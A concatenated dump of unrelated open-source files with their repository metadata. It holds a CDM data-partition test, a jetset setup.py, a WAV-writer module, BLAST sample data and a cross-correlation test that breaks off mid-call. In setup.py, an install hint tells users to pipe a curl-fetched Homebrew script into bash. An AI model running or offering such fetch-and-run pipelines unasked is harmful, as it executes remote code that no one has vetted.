# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. import os import unittest from cdm.utilities.logging import logger from cdm.enums import CdmObjectType, CdmStatusLevel, CdmIncrementalPartitionType from cdm.objectmodel import CdmCorpusContext, CdmCorpusDefinition, CdmManifestDefinition, CdmEntityDefinition from cdm.persistence.cdmfolder import ManifestPersistence from cdm.persistence.cdmfolder.types import ManifestContent from cdm.utilities import Constants from tests.cdm.cdm_collection.cdm_collection_helper_functions import create_document_for_entity from tests.common import async_test, TestHelper class DataPartitionTest(unittest.TestCase): test_subpath = os.path.join('Persistence', 'CdmFolder', 'DataPartition') @async_test async def test_load_local_entitiy_with_data_partition(self): content = TestHelper.get_input_file_content(self.test_subpath, 'test_load_local_entity_with_data_partition', 'entities.manifest.cdm.json') manifest_content = ManifestContent() manifest_content.decode(content) cdm_manifest = ManifestPersistence.from_object(CdmCorpusContext(CdmCorpusDefinition(), None), 'entities', 'testNamespace', '/', manifest_content) self.assertEqual(len(cdm_manifest.entities), 1) self.assertEqual(cdm_manifest.entities[0].object_type, CdmObjectType.LOCAL_ENTITY_DECLARATION_DEF) entity = cdm_manifest.entities[0] self.assertEqual(len(entity.data_partitions), 2) relative_partition = entity.data_partitions[0] self.assertEqual(relative_partition.name, 'Sample data partition') self.assertEqual(relative_partition.location, 'test/location') # self.assertEqual(TimeUtils.GetFormattedDateString(relative_partition.LastFileModifiedTime), '2008-09-15T23:53:23.000Z') self.assertEqual(len(relative_partition.exhibits_traits), 1) self.assertEqual(relative_partition.specialized_schema, 'teststring') test_list = relative_partition.arguments['test'] self.assertEqual(len(test_list), 3) self.assertEqual(test_list[0], 'something') self.assertEqual(test_list[1], 'somethingelse') self.assertEqual(test_list[2], 'anotherthing') key_list = relative_partition.arguments['KEY'] self.assertEqual(len(key_list), 1) self.assertEqual(key_list[0], 'VALUE') self.assertFalse('wrong' in relative_partition.arguments) absolute_partition = entity.data_partitions[1] self.assertEqual(absolute_partition.location, "local:/some/test/location") @async_test async def test_programmatically_create_partitions(self): corpus = TestHelper.get_local_corpus(self.test_subpath, 'test_programmatically_create_partitions', no_input_and_output_folder=True) manifest = corpus.make_object(CdmObjectType.MANIFEST_DEF, 'manifest') entity = manifest.entities.append('entity') relative_partition = corpus.make_object(CdmObjectType.DATA_PARTITION_DEF, 'relative partition') relative_partition.location = 'relative/path' relative_partition.arguments['test1'] = ['argument1'] relative_partition.arguments['test2'] = ['argument2', 'argument3'] absolute_partition = corpus.make_object(CdmObjectType.DATA_PARTITION_DEF, 'absolute partition') absolute_partition.location = 'local:/absolute/path' # add an empty arguments list to test empty list should not be displayed in ToData json. absolute_partition.arguments['test'] = [] entity.data_partitions.append(relative_partition) entity.data_partitions.append(absolute_partition) manifest_data = ManifestPersistence.to_data(manifest, None, None) self.assertEqual(len(manifest_data.entities), 1) entityData = manifest_data.entities[0] partitions_list = entityData.dataPartitions self.assertEqual(len(partitions_list), 2) relative_partition_data = partitions_list[0] absolute_partition_data = partitions_list[-1] self.assertEqual(relative_partition_data.location, relative_partition.location) arguments_list = relative_partition_data.arguments self.assertEqual(3, len(arguments_list)) checked_arguments = [] for argument in arguments_list: self.assertEqual(3, len(argument)) checked_arguments.append(argument.value) if argument.value == 'argument1': self.assertEqual('test1', argument.name) elif argument.value == 'argument2': self.assertEqual('test2', argument.name) elif argument.value == 'argument3': self.assertEqual('test2', argument.name) else: raise Exception('unexpected argument in data partitions') self.assertTrue('argument1' in checked_arguments) self.assertTrue('argument2' in checked_arguments) self.assertTrue('argument3' in checked_arguments) self.assertEqual(absolute_partition_data.location, absolute_partition.location) # test if empty argument list is set to null self.assertEqual(absolute_partition_data.arguments, None) @async_test async def test_from_incremental_partition_without_trait(self): """ Testing loading manifest with local entity declaration having an incremental partition without incremental trait. """ corpus = TestHelper.get_local_corpus(self.test_subpath, 'test_from_incremental_partition_without_trait') error_message_verified = False # not checking the CdmLogCode here as we want to check if this error message constructed correctly for the partition (it shares the same CdmLogCode with partition pattern) def callback(level, message): if 'Failed to persist object \'DeletePartition\'. This object does not contain the trait \'is.partition.incremental\', so it should not be in the collection \'incremental_partitions\'. | from_data' in message: nonlocal error_message_verified error_message_verified = True else: self.fail('Some unexpected failure - {}!'.format(message)) corpus.set_event_callback(callback, CdmStatusLevel.WARNING) manifest = await corpus.fetch_object_async('local:/entities.manifest.cdm.json') self.assertEqual(1, len(manifest.entities)) self.assertEqual(CdmObjectType.LOCAL_ENTITY_DECLARATION_DEF, manifest.entities[0].object_type) entity = manifest.entities[0] self.assertEqual(1, len(entity.incremental_partitions)) incremental_partition = entity.incremental_partitions[0] self.assertEqual('UpsertPartition', incremental_partition.name) self.assertEqual(1, len(incremental_partition.exhibits_traits)) self.assertEqual(Constants._INCREMENTAL_TRAIT_NAME, incremental_partition.exhibits_traits[0].fetch_object_definition_name()) self.assertTrue(error_message_verified) @async_test async def test_from_data_partition_with_incremental_trait(self): """ Testing loading manifest with local entity declaration having a data partition with incremental trait. """ corpus = TestHelper.get_local_corpus(self.test_subpath, 'test_from_data_partition_with_incremental_trait') error_message_verified = False # not checking the CdmLogCode here as we want to check if this error message constructed correctly for the partition (it shares the same CdmLogCode with partition pattern) def callback(level, message): if 'Failed to persist object \'UpsertPartition\'. This object contains the trait \'is.partition.incremental\', so it should not be in the collection \'data_partitions\'. | from_data' in message: nonlocal error_message_verified error_message_verified = True else: self.fail('Some unexpected failure - {}!'.format(message)) corpus.set_event_callback(callback, CdmStatusLevel.WARNING) manifest = await corpus.fetch_object_async('local:/entities.manifest.cdm.json') self.assertEqual(1, len(manifest.entities)) self.assertEqual(CdmObjectType.LOCAL_ENTITY_DECLARATION_DEF, manifest.entities[0].object_type) entity = manifest.entities[0] self.assertEqual(1, len(entity.data_partitions)) self.assertEqual('TestingPartition', entity.data_partitions[0].name) self.assertTrue(error_message_verified) @async_test async def test_to_incremental_partition_without_trait(self): """ Testing saving manifest with local entity declaration having an incremental partition without incremental trait. """ test_name = 'test_to_incremental_partition_without_trait' corpus = TestHelper.get_local_corpus(self.test_subpath, test_name) error_message_verified = False # not checking the CdmLogCode here as we want to check if this error message constructed correctly for the partition (it shares the same CdmLogCode with partition pattern) def callback(level, message): if 'Failed to persist object \'DeletePartition\'. This object does not contain the trait \'is.partition.incremental\', so it should not be in the collection \'incremental_partitions\'. | to_data' in message: nonlocal error_message_verified error_message_verified = True else: self.fail('Some unexpected failure - {}!'.format(message)) corpus.set_event_callback(callback, CdmStatusLevel.WARNING) manifest = CdmManifestDefinition(corpus.ctx, 'manifest') corpus.storage.fetch_root_folder('local').documents.append(manifest) entity = CdmEntityDefinition(corpus.ctx, 'entityName', None) create_document_for_entity(corpus, entity) localized_entity_declaration = manifest.entities.append(entity) upsert_incremental_partition = corpus.make_object(CdmObjectType.DATA_PARTITION_DEF, 'UpsertPartition', False) upsert_incremental_partition.location = '/IncrementalData' upsert_incremental_partition.specialized_schema = 'csv' upsert_incremental_partition.exhibits_traits.append(Constants._INCREMENTAL_TRAIT_NAME, [['type', CdmIncrementalPartitionType.UPSERT.value]]) delete_partition = corpus.make_object(CdmObjectType.DATA_PARTITION_DEF, 'DeletePartition', False) delete_partition.location = '/IncrementalData' delete_partition.specialized_schema = 'csv' localized_entity_declaration.incremental_partitions.append(upsert_incremental_partition) localized_entity_declaration.incremental_partitions.append(delete_partition) with logger._enter_scope(DataPartitionTest.__name__, corpus.ctx, test_name): manifest_data = ManifestPersistence.to_data(manifest, None, None) self.assertEqual(1, len(manifest_data.entities)) entity_data = manifest_data.entities[0] self.assertEqual(1, len(entity_data.incrementalPartitions)) partition_data = entity_data.incrementalPartitions[0] self.assertEqual('UpsertPartition', partition_data.name) self.assertEqual(1, len(partition_data.exhibitsTraits)) self.assertEqual(Constants._INCREMENTAL_TRAIT_NAME, partition_data.exhibitsTraits[0].traitReference) self.assertTrue(error_message_verified) @async_test async def test_to_data_partition_with_incremental_trait(self): """ Testing saving manifest with local entity declaration having a data partition with incremental trait. """ test_name = 'test_to_data_partition_with_incremental_trait' corpus = TestHelper.get_local_corpus(self.test_subpath, test_name) error_message_verified = False # not checking the CdmLogCode here as we want to check if this error message constructed correctly for the partition (it shares the same CdmLogCode with partition pattern) def callback(level, message): if 'Failed to persist object \'UpsertPartition\'. This object contains the trait \'is.partition.incremental\', so it should not be in the collection \'data_partitions\'. | to_data' in message: nonlocal error_message_verified error_message_verified = True else: self.fail('Some unexpected failure - {}!'.format(message)) corpus.set_event_callback(callback, CdmStatusLevel.WARNING) manifest = CdmManifestDefinition(corpus.ctx, 'manifest') corpus.storage.fetch_root_folder('local').documents.append(manifest) entity = CdmEntityDefinition(corpus.ctx, 'entityName', None) create_document_for_entity(corpus, entity) localized_entity_declaration = manifest.entities.append(entity) upsert_incremental_partition = corpus.make_object(CdmObjectType.DATA_PARTITION_DEF, 'UpsertPartition', False) upsert_incremental_partition.location = '/IncrementalData' upsert_incremental_partition.specialized_schema = 'csv' upsert_incremental_partition.exhibits_traits.append(Constants._INCREMENTAL_TRAIT_NAME, [['type', CdmIncrementalPartitionType.UPSERT.value]]) delete_partition = corpus.make_object(CdmObjectType.DATA_PARTITION_DEF, 'TestingPartition', False) delete_partition.location = '/testingData' delete_partition.specialized_schema = 'csv' localized_entity_declaration.data_partitions.append(upsert_incremental_partition) localized_entity_declaration.data_partitions.append(delete_partition) with logger._enter_scope(DataPartitionTest.__name__, corpus.ctx, test_name): manifest_data = ManifestPersistence.to_data(manifest, None, None) self.assertEqual(1, len(manifest_data.entities)) entity_data = manifest_data.entities[0] self.assertEqual(1, len(entity_data.dataPartitions)) partition_data = entity_data.dataPartitions[0] self.assertEqual('TestingPartition', partition_data.name) self.assertTrue(error_message_verified)
56.454902
221
0.727077
13,675
0.949785
0
0
13,519
0.93895
13,423
0.932282
3,632
0.252257
9fd1f014c5d5b7866e50185659805f63bd40ebd9
6,038
py
Python
setup.py
andreatramacere/jetset
4b7859622db9713b6ee243e2c12ec81321b372bf
[ "BSD-3-Clause" ]
16
2019-02-11T06:58:43.000Z
2021-12-28T13:00:35.000Z
setup.py
andreatramacere/jetset
4b7859622db9713b6ee243e2c12ec81321b372bf
[ "BSD-3-Clause" ]
14
2019-04-14T14:49:55.000Z
2021-12-27T04:18:24.000Z
setup.py
andreatramacere/jetset
4b7859622db9713b6ee243e2c12ec81321b372bf
[ "BSD-3-Clause" ]
10
2019-02-25T14:53:28.000Z
2022-03-02T08:49:19.000Z
#!/usr/bin/env python from __future__ import division, absolute_import, print_function __author__ = 'andrea tramacere' from setuptools import setup, find_packages,Extension # from setuptools.command.install import install # from distutils.extension import Extension # import distutils.command.install as orig from distutils.command.build import build from setuptools.command.install import install from distutils.sysconfig import get_python_lib import os import glob import shutil import fnmatch import json import sys def check_swig(): command = 'swig' if shutil.which(command) is None: _mess = """ *********************************************************************************************************** *** you need to install swig v>=3.0.0 to install from source *** *** *** *** - on linux Ubuntu: sudo apt-get install swig *** *** *** *** - on linux Debian: sudo aptitude install swig *** *** *** *** - on linux Fedora: sudo yum install swig *** *** *** *** - on mac: *** *** /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" *** *** brew install swig *** *** *** *** visit: http://www.swig.org/ for more info *** *********************************************************************************************************** """ raise RuntimeError(_mess) class CustomBuild(build): def run(self): print('-> custom build') check_swig() self.run_command('build_ext') build.run(self) class CustomInstall(install): def run(self): print('-> custom install',self.get_command_name()) check_swig() self.run_command('build_ext') install.run(self) print ('JETSETBESSELBUILD',os.getenv('JETSETBESSELBUILD') == 'TRUE') if os.getenv('JETSETBESSELBUILD') == 'TRUE': self.run_command('test') else: pass class CustomClean(install): def run(self): try: shutil.rmtree('dist') except: pass try: shutil.rmtree('build') except: pass try: shutil.rmtree(glob.glob('*.egg-info')[0]) except: pass try: os.remove('jetset/jetkernel/jetkernel.py') except: pass try: os.remove('jetset/jetkernel/jetkernel_wrap.c') except: pass try: shutil.rmtree('jetset/jetkernel/__pycache__') except: pass # to remove files installed by old versions site_p=get_python_lib() for f in glob.glob(site_p+'/*_jetkernel*'): print ('found .so object:', f) print ('removing it') try: os.remove(f) except: pass custom_cmdclass = {'build': CustomBuild, 'install': CustomInstall, 'clean':CustomClean} with open('jetset/pkg_info.json') as fp: _info = json.load(fp) __version__ = _info['version'] f = open("./requirements.txt",'r') req=f.readlines() f.close() req=[n.strip() for n in req if n.startswith('#') is False] src_files=['jetset/jetkernel/jetkernel.i'] src_files.extend(glob.glob ('jetkernel_src/src/*.c')) _module=Extension('jetset.jetkernel/_jetkernel', sources=src_files, #extra_compile_options='-fPIC -v -c -m64 -I', #extra_link_options='-suppress', swig_opts=['-v','-threads'], include_dirs=['jetkernel_src/include']) if os.getenv('JETSETBESSELBUILD') == 'TRUE': _test_suite = 'jetset.tests.test_build_functions' else: _test_suite = None with open("proj_descr.md", "r") as f: long_description = f.read() # this to skip that pip install packages when installing src from conda is_conda = os.path.exists(os.path.join(sys.prefix, 'conda-meta')) if is_conda: install_req=None else: install_req=req print('-> version', __version__, install_req) setup(name='jetset', version=__version__, author='Andrea Tramacere', url='https://github.com/andreatramacere/jetset', long_description=long_description, long_description_content_type='text/markdown', description="A framework for self-consistent modeling and fitting of astrophysical relativistic jets SEDs", author_email='andrea.tramacere@gmail.com', packages=['jetset', 'jetset.leastsqbound', 'jetset.jetkernel','jetset.tests'], package_data={'jetset':['Spectral_Templates_Repo/*.dat','test_data/SEDs_data/*ecsv','./requirements.txt','ebl_data/*','mathkernel/*dat'],'jetkernel':['mathkernel/*dat']}, include_package_data = True, cmdclass=custom_cmdclass, ext_modules = [_module], install_requires=install_req, py_modules=['jetset.jetkernel/jetkernel'], python_requires='>=3.7', test_suite =_test_suite, zip_safe=True)
34.901734
176
0.48791
1,469
0.243292
0
0
0
0
0
0
3,190
0.528321
9fd494efb313bbd651da7b57c11d4c1658a52fc3
1,610
py
Python
example/torch_classifier.py
KevinEloff/deep-chain-apps
0952845e93f0c0592f04275fe99b122ff831901f
[ "Apache-1.1" ]
null
null
null
example/torch_classifier.py
KevinEloff/deep-chain-apps
0952845e93f0c0592f04275fe99b122ff831901f
[ "Apache-1.1" ]
null
null
null
example/torch_classifier.py
KevinEloff/deep-chain-apps
0952845e93f0c0592f04275fe99b122ff831901f
[ "Apache-1.1" ]
null
null
null
""" Module that provide a classifier template to train a model on embeddings. With use the pathogen vs human dataset as an example. The embedding of 100k proteins come from the protBert model. The model is built with pytorch_ligthning, a wrapper on top of pytorch (similar to keras with tensorflow) Feel feel to build you own model if you want to build a more complex one """ from deepchain.dataset import load_pathogen_dataset from deepchain.models import MLP from deepchain.models.utils import ( confusion_matrix_plot, dataloader_from_numpy, model_evaluation_accuracy, ) from sklearn.model_selection import train_test_split # Load embedding and target dataset X, y = load_pathogen_dataset() X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.3) train_dataloader = dataloader_from_numpy(X_train, y_train, batch_size=32) test_dataloader = dataloader_from_numpy(X_val, y_val, batch_size=32) # Build a multi-layer-perceptron on top of embedding # The fit method can handle all the arguments available in the # 'trainer' class of pytorch lightening : # https://pytorch-lightning.readthedocs.io/en/latest/common/trainer.html # Example arguments: # * specifies all GPUs regardless of its availability : # Trainer(gpus=-1, auto_select_gpus=False, max_epochs=20) mlp = MLP(input_shape=X_train.shape[1]) mlp.fit(train_dataloader, epochs=5) mlp.save_model("model.pt") # Model evaluation prediction, truth = model_evaluation_accuracy(test_dataloader, mlp) # Plot confusion matrix confusion_matrix_plot(truth, (prediction > 0.5).astype(int), ["0", "1"])
36.590909
90
0.775776
0
0
0
0
0
0
0
0
856
0.531677
9fd54ac2fec1187dcd8824c5cc8a001bad343192
5,589
py
Python
towavfile.py
streamsoftdev/audiomods
0e3d27fcd9af0a0f6a9de512112425e093f82dda
[ "Apache-2.0" ]
null
null
null
towavfile.py
streamsoftdev/audiomods
0e3d27fcd9af0a0f6a9de512112425e093f82dda
[ "Apache-2.0" ]
null
null
null
towavfile.py
streamsoftdev/audiomods
0e3d27fcd9af0a0f6a9de512112425e093f82dda
[ "Apache-2.0" ]
null
null
null
#Copyright 2022 Nathan Harwood # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #Unless required by applicable law or agreed to in writing, software #distributed under the License is distributed on an "AS IS" BASIS, #WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #See the License for the specific language governing permissions and #limitations under the License. import numpy as np from pathlib import Path import struct from audiomodule.audiomodule import AM_CONTINUE, AM_CYCLIC_UNDERRUN, AM_ERROR, AM_INPUT_REQUIRED, MODULE_ERROR, \ AudioModule, sw_dtype, audiomod, nice_channels, nice_frequency_str, hms2_str @audiomod class ToWavFile(AudioModule): name = "To WAV File" category = "Signal out" description = "Write the signal to a WAV file. Supports incremental writing to the WAV file." def __init__(self, file: str = "", num_channels: int = 2, sample_width: int = 2, **kwargs): super().__init__(num_outputs=0, in_chs=[num_channels], **kwargs) self.file = file self.num_channels = num_channels self.ready = True self.wf = None self.sample_width=sample_width self.bytes_written=0 self.frames_written=0 self.requires_data = False self.set_write_dtype() def set_write_dtype(self): if self.sample_width == 1: self.write_dtype = np.int8 self.out_max = (2**7)-1 elif self.sample_width == 2: self.write_dtype = np.int16 self.out_max = (2**15)-1 elif self.sample_width == 4: self.out_max = 1.0 self.write_dtype = np.float32 async def next_chunk(self): return await self.process_next_chunk() def process_next_chunk(self): if not self.wf: return AM_ERROR underrun,cyclic = self.input_underrun() if (not self.input_pending()) or underrun: if cyclic: return AM_CYCLIC_UNDERRUN else: return AM_INPUT_REQUIRED chunk = self.get_input_chunk().buffer self.write_chunk(chunk) return AM_CONTINUE def write_chunk(self,chunk): chunk *= self.out_max interleaved = chunk.flatten() out_data = interleaved.astype(self.write_dtype).tobytes() self.frames_written+=len(chunk) self.bytes_written+=len(chunk)*self.sample_width*self.num_channels self.wf.write(out_data) self.update_wav_header() def update_wav_header(self): current_pos = self.wf.tell() self.wf.seek(0) WAVE_FORMAT_PCM = 0x0001 bytes_to_add = b'RIFF' _datalength = self.frames_written * self.num_channels * self.sample_width bytes_to_add += struct.pack('<L4s4sLHHLLHH4s', 36 + _datalength, b'WAVE', b'fmt ', 16, WAVE_FORMAT_PCM, self.num_channels, int(self.sample_rate), self.num_channels * int(self.sample_rate) * self.sample_width, self.num_channels * self.sample_width, self.sample_width * 8, b'data') bytes_to_add += struct.pack('<L', _datalength) self.wf.write(bytes_to_add) self.wf.seek(current_pos) def open(self): super().open() if self.file != "" and self.file != None: try: self.wf = open(self.file, 'wb') self.update_wav_header() self.ready = True except Exception as e: self.observer.put( (MODULE_ERROR, (self.mod_id, f"{self.file} could not be written to. {e}."), None)) self.ready = False def close(self): if self.get_in_buf(0).size()>0 and self.wf: chunk = self.get_in_buf(0).get_all() self.write_chunk(chunk) super().close() if self.wf: self.wf.close() self.wf = None def reset(self): super().reset() if self.wf: self.wf.seek(0) self.bytes_written=0 self.frames_written=0 self.update_wav_header() def get_widget_params(self): return super().get_widget_params() | { 'meta_order': ['filename'], 'filename': { 'name': 'Filename', 'value': self.file, 'type': 'write-filename', 'filetypes': [('WAV files','*.wav *.WAV'),("All files","*.*")], 'defaultextension': '.wav' } } def set_widget_params(self, params): super().set_widget_params(params) if 'filename' in params: self.close() self.file = params['filename']['value'] self.open() def get_status(self): if self.wf: ch = nice_channels(self.num_channels) status = { 'status':'ready', 'topleft':Path(self.file).name, 'topright':hms2_str(self.frames_written/self.sample_rate), 'bottom':nice_frequency_str(self.sample_rate), 'bottomleft':f"{self.sample_width*8} bit", 'bottomright':ch, } else: status = { 'status':'error', 'bottom':"Valid filename required." } return status
33.668675
113
0.580247
4,753
0.85042
0
0
4,763
0.85221
74
0.01324
1,083
0.193773
9fd5c810c4ce10644e6de28ce2355f1bd5e61c6a
6,857
py
Python
test/blast/sample_data.py
UdoGi/dark-matter
3d49e89fa5e81f83144119f6216c5774176d203b
[ "MIT" ]
10
2016-03-09T09:43:14.000Z
2021-04-03T21:46:12.000Z
test/blast/sample_data.py
terrycojones/dark-matter
67d16f870db6b4239e17e542bc6e3f072dc29c75
[ "MIT" ]
332
2015-01-07T12:37:30.000Z
2022-01-20T15:48:11.000Z
test/blast/sample_data.py
terrycojones/dark-matter
67d16f870db6b4239e17e542bc6e3f072dc29c75
[ "MIT" ]
4
2016-03-08T14:56:39.000Z
2021-01-27T08:11:27.000Z
# Sample BLAST parameters. PARAMS = { 'application': 'BLASTN', 'blast_cutoff': [ None, None ], 'database': 'manx-shearwater', 'database_length': 17465129, 'database_letters': None, 'database_name': [], 'database_sequences': 70016, 'date': '', 'dropoff_1st_pass': [ None, None ], 'effective_database_length': None, 'effective_hsp_length': 22, 'effective_query_length': None, 'effective_search_space': 382194648.0, 'effective_search_space_used': None, 'frameshift': [ None, None ], 'gap_penalties': [ 5, 2 ], 'gap_trigger': [ None, None ], 'gap_x_dropoff': [ None, None ], 'gap_x_dropoff_final': [ None, None ], 'gapped': 0, 'hsps_gapped': None, 'hsps_no_gap': None, 'hsps_prelim_gapped': None, 'hsps_prelim_gapped_attemped': None, 'ka_params': [ 0.625, 0.41, 0.78 ], 'ka_params_gap': [ None, None, None ], 'matrix': '', 'num_good_extends': None, 'num_hits': None, 'num_letters_in_database': 17465129, 'num_seqs_better_e': None, 'num_sequences': None, 'num_sequences_in_database': 70016, 'posted_date': [], 'query': 'GZG3DGY01ASHXW', 'query_id': 'Query_1', 'query_length': 46, 'query_letters': 46, 'reference': 'Stephen F. Altschul, Thomas L. Madden, ...', 'sc_match': 2, 'sc_mismatch': -3, 'threshold': None, 'version': '2.2.28+', 'window_size': None } RECORD0 = { 'query': 'id0', 'alignments': [ { 'length': 37000, 'hsps': [ { 'bits': 20, 'sbjct_end': 15400, 'expect': 1e-11, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 15362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Squirrelpox virus 1296/99', }, { 'length': 38000, 'hsps': [ { 'bits': 25, 'sbjct_end': 12400, 'expect': 1e-10, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 12362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Squirrelpox virus 55', } ] } RECORD1 = { 'query': 'id1', 'alignments': [ { 'length': 35000, 'hsps': [ { 'bits': 20, 'sbjct_end': 11400, 'expect': 1e-8, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 11362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Monkeypox virus 456', }, { 'length': 35000, 'hsps': [ { 'bits': 20, 'sbjct_end': 10400, 'expect': 1e-7, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 10362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Mummypox virus 3000 B.C.', } ] } RECORD2 = { 'query': 'id2', 'alignments': [ { 'length': 30000, 'hsps': [ { 'bits': 20, 'sbjct_end': 1400, 'expect': 1e-6, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 1362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Cowpox virus 15', } ] } # Identical to RECORD2, apart from e-value. RECORD3 = { 'query': 'id3', 'alignments': [ { 'length': 30000, 'hsps': [ { 'bits': 20, 'sbjct_end': 1400, 'expect': 1e-5, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 1362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Cowpox virus 15', } ] } RECORD4 = { 'query': 'id4', 'alignments': [ { 'length': 30000, 'hsps': [ { 'bits': 10, 'sbjct_end': 1400, 'expect': 1e-3, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 1362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 }, { 'bits': 5, 'sbjct_end': 1400, 'expect': 1e-2, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 1362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 }, { 'bits': 3, 'sbjct_end': 1400, 'expect': 0.0, 'sbjct': 'TACCC--CGGCCCGCG-CGGCCGGCTCTCCA', 'sbjct_start': 1362, 'query': 'TACCCTGCGGCCCGCTACGGCTGG-TCTCCA', 'frame': [1, 1], 'query_end': 68, 'query_start': 28 } ], 'title': 'gi|887699|gb|DQ37780 Cowpox virus 15', } ] }
27.538153
70
0.392737
0
0
0
0
0
0
0
0
2,768
0.403675
9fd7af8273e6b7e9744ade794d211dd5ee462f86
420
py
Python
pyrigate/units/parse.py
pyrigate/pyrigate
366e33ef46ebc7928cf35f2d51ed0855c59d1a68
[ "MIT" ]
1
2018-02-03T23:22:20.000Z
2018-02-03T23:22:20.000Z
pyrigate/units/parse.py
pyrigate/pyrigate
366e33ef46ebc7928cf35f2d51ed0855c59d1a68
[ "MIT" ]
1
2018-05-12T13:55:01.000Z
2018-05-13T00:16:23.000Z
pyrigate/units/parse.py
pyrigate/pyrigate
366e33ef46ebc7928cf35f2d51ed0855c59d1a68
[ "MIT" ]
1
2019-10-18T12:23:02.000Z
2019-10-18T12:23:02.000Z
# -*- coding: utf-8 -*- """.""" import re _UNIT_STRING_REGEX = r'^([0-9\.]+)(ml|cl|dl|l)$' def parse_unit(unit_string): """.""" lower_unit_string = unit_string.lower() match = re.match(_UNIT_STRING_REGEX, lower_unit_string) if match: try: return float(match.group(1)), match.group(2) except ValueError: return None, None else: return None, None
18.26087
59
0.57381
0
0
0
0
0
0
0
0
64
0.152381
9fd914093a9d2ec4b79940394bc875e521269c52
6,659
py
Python
src/mhealth/data_analysis_tests/cross_correlator_test.py
hirsch-lab/mhealth
ad4287483cee206c7b8ff6216293f19d71296129
[ "MIT" ]
2
2021-01-05T10:53:57.000Z
2021-02-26T09:15:14.000Z
src/mhealth/data_analysis_tests/cross_correlator_test.py
hirsch-lab/mhealth
ad4287483cee206c7b8ff6216293f19d71296129
[ "MIT" ]
3
2020-12-15T11:29:25.000Z
2021-05-07T09:18:43.000Z
src/mhealth/data_analysis_tests/cross_correlator_test.py
hirsch-lab/mhealth
ad4287483cee206c7b8ff6216293f19d71296129
[ "MIT" ]
null
null
null
import os import glob import unittest from ..utils import testing from ..utils import everion_keys from ..utils.file_helper import FileHelper from ..utils.data_aggregator import Normalization from ..visualization.vis_properties import VisProperties from ..data_analysis.cross_correlator import CrossCorrelator _MHEALTH_DATA = os.getenv('MHEALTH_DATA', '../../resources') _MHEALTH_OUT_DIR = os.path.join(_MHEALTH_DATA, 'output') class CrossCorrelatorTest(testing.TestCase): in_dir = f'{_MHEALTH_DATA}/vital_signals/' in_dir_mixed = f'{_MHEALTH_DATA}/mixed_vital_raw_signals/' out_dir = _MHEALTH_OUT_DIR correlator = CrossCorrelator() def test_cross_correlator_daily(self): out_dir = FileHelper.get_out_dir(in_dir=self.in_dir, out_dir=self.out_dir, out_dir_suffix='_daily_cross') self.correlator.plot_daily_correlations( VisProperties(in_dir=self.in_dir, out_dir=out_dir, normalization=Normalization.NONE, keys={'heart_rate', 'respiration_rate'}, short_keys=everion_keys.SHORT_NAMES_VITAL, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) files = list(out_dir.glob("**/*.png")) self.assertEqual(6, len(files)) def test_cross_correlator_hours_vital(self): out_dir = FileHelper.get_out_dir(in_dir=self.in_dir, out_dir=self.out_dir, out_dir_suffix='_cross') self.correlator.plot_hourly_correlations( VisProperties(in_dir=self.in_dir, out_dir=out_dir, normalization=Normalization.NONE, keys=everion_keys.MAJOR_VITAL, short_keys=everion_keys.SHORT_NAMES_VITAL, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) files = list(out_dir.glob("**/*.png")) self.assertEqual(3, len(files)) def test_cross_correlator_hours_mixed_vital_raw(self): out_dir = FileHelper.get_out_dir(in_dir=self.in_dir_mixed, out_dir=self.out_dir, out_dir_suffix='_cross') self.correlator.plot_hourly_correlations( VisProperties(in_dir=self.in_dir_mixed, out_dir=out_dir, normalization=Normalization.NONE, keys=everion_keys.MAJOR_MIXED_VITAL_RAW, short_keys=everion_keys.SHORT_NAMES_MIXED_VITAL_RAW, min_scale=0, max_scale=100, start_idx=0, end_idx=3)) files = list(out_dir.glob("**/*.png")) self.assertEqual(5, len(files)) def test_cross_correlator_daily_mixed_vital_raw(self): out_dir = FileHelper.get_out_dir(in_dir=self.in_dir_mixed, out_dir=self.out_dir, out_dir_suffix='_daily_cross') self.correlator.plot_daily_correlations( VisProperties(in_dir=self.in_dir_mixed, out_dir=out_dir, normalization=Normalization.NONE, 